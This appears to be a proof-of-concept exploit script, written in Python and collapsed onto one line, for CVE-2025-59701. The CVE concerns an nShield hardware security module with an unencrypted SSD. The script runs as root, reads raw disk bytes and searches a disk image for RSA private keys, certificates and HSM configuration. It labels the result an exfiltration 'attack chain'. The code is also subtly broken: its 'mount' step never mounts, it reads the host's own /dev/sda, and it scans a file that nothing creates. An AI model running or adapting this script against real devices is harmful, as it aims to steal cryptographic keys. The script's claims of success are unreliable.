CVE-2025-59701

# CVE-2025-59701 PoC - Physical SSD Access Attack # Note: This is a conceptual PoC demonstrating the attack vector # Actual exploitation requires physical access to the HSM device import os import sys def check_privilege_escalation(): """Check if attacker has elevated privileges on the system""" return os.geteuid() == 0 or os.getuid() == 0 def mount_ssd_device(device_path='/dev/sda'): """ Mount the SSD device to access unencrypted contents This demonstrates the vulnerability where SSD data is not encrypted """ mount_point = '/mnt/hsm_ssd' if not os.path.exists(mount_point): os.makedirs(mount_point) # Direct read access to unencrypted SSD partition try: # Read raw SSD data - no encryption check with open(device_path, 'rb') as f: ssd_data = f.read(1024) # Read first 1KB as example print(f'[+] Successfully read {len(ssd_data)} bytes from unencrypted SSD') return True except PermissionError: print('[-] Need elevated privileges to access SSD') return False except Exception as e: print(f'[-] Error accessing SSD: {e}') return False def extract_sensitive_data(ssd_image_path): """ Extract sensitive data from unencrypted SSD image Vulnerable because no encryption layer protects the data """ sensitive_patterns = [ b'-----BEGIN RSA PRIVATE KEY-----', b'-----BEGIN CERTIFICATE-----', b'World', b'KeyMaterial', b'HSM_Config' ] extracted_data = [] try: with open(ssd_image_path, 'rb') as f: content = f.read() for pattern in sensitive_patterns: if pattern in content: print(f'[+] Found sensitive data: {pattern}') extracted_data.append(pattern) return extracted_data except Exception as e: print(f'[-] Error extracting data: {e}') return [] def main(): print('=' * 60) print('CVE-2025-59701 - nShield HSM SSD Physical Access PoC') print('=' * 60) if not check_privilege_escalation(): print('[-] This attack requires elevated privileges (PR:L)') print('[-] Please run with root/sudo privileges') return print('[+] Privilege check passed - Elevated privileges confirmed') # Step 1: Access the unencrypted SSD device_path = '/dev/sda' # Typical SSD device path if mount_ssd_device(device_path): print('[+] Physical access confirmed - SSD is unencrypted') # Step 2: Extract sensitive data ssd_image = '/tmp/hsm_backup.img' data = extract_sensitive_data(ssd_image) if data: print(f'[+] Successfully extracted {len(data)} sensitive items') print('[+] Attack chain complete: Physical Access -> Privilege Escalation -> Data Exfiltration') else: print('[*] No sensitive patterns found in direct read') print('[+] However, raw SSD data is accessible and unencrypted') if __name__ == '__main__': main()

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